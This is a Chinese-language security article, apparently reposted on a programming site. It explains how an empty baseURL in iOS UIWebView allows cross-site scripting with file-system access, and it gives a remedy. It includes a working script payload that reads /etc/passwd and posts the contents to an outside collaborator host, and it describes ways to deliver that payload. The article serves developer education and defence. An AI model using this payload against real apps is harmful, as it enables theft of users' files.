iOS漏洞——Web View XSS

栏目: 编程工具 · 发布时间: 5年前

内容简介:本文介绍一个简单的,但是潜在危险性特别大、而且在iOS app中经常出现的安全漏洞。该漏洞非常简单,但是常常被误解,当开发者在代码中是设置webView时,经常会看到:许多开发者都认为设置baseURL为@””,表示是安全的,因为baseurl被指定为空字符串,攻击者也不能加载请求到随机的恶意网站。但事实上不是这样的。

本文介绍一个简单的,但是潜在危险性特别大、而且在iOS app中经常出现的安全漏洞。

该漏洞非常简单,但是常常被误解,当开发者在代码中是设置webView时,经常会看到:

[webView loadHTMLString:someHTMLstring baseURL:[NSURL URLWithString:@""]]

许多开发者都认为设置baseURL为@””,表示是安全的,因为baseurl被指定为空字符串,攻击者也不能加载请求到随机的恶意网站。但事实上不是这样的。

当baseURL被设置为空字符串时,攻击者可以绕过SOP保护访问APP的文件系统(使用file:// url方案)和任何外部网站。

另一个需要注意的方法是loadData:MIMEType:textEncodingName:baseURL。

错误配置可以以多种方式利用。最常见的就是文件共享,用户可以在web视图中打开文件。比如一个简单的XSS payload:

<script>
       var request = new XMLHttpRequest();
       request.open("GET","file:///etc/passwd",false);
       request.send();
request.open("POST","http://nc3fefxjk1kpku6504yvqzeyspyjm8.burpcollaborator.net",false);
       request.send(request.responseText);
</script>

这个简单的payload可以打开手机的/etc/passwd文件,然后发送其中的内容到攻击者服务器。

研究人员将其保存为.html文件,并于iCloud进行同步,然后再通过苹果的Files APP在APP内分享。

然后,当用户打开该文件时:

iOS漏洞——Web View XSS

研究人员就接收到了用户的etc/passwd文件。

其他潜在的利用方法有:

·APP内打开URL/Web浏览:攻击者可以发送给受害者一个恶意URL,当用户点击时,就可以在APP的web视图中打开链接。

· URL scheme滥用:攻击者可以通过邮件或iMessage等外部通信方式发送一个恶意URL。如果打开链接的URL scheme在webView中,就可以进行利用。

如何应对?

应对该漏洞的最简单的办法就是将baseURL参数设置为about:blank而不是空字符串。比如:

 [webView loadHTMLString:someHTMLstring baseURL:[NSURL URLWithString:@"about:blank"]]

现在webView已经从手机的文件系统中沙箱化了,攻击者可能可以进行弹窗,但是不能窃取数据或与恶意服务器进行通信。如果用户从文件系统中加载内嵌图像,该方案可能会干预APP的这一功能。

如果开发者选择使用新的WKWebView类,而不是老版本的UIWebView,那么这类攻击发生的可能性就会小很多。因为WKWebView增强了安全性,默认情况下不允许对本地文件系统进行AJAX请求,所以前面描述的攻击就都不能实现了。而且WKWebView还有一个开启/关闭JavaScript执行的新功能。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Measure What Matters

Measure What Matters

John Doerr / Portfolio / 2018-4-24 / GBP 19.67

In the fall of 1999, John Doerr met with the founders of a start-up he’d just given $11.8 million, the biggest investment of his career. Larry Page and Sergey Brin had amazing technology, entrepreneur......一起来看看 《Measure What Matters》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具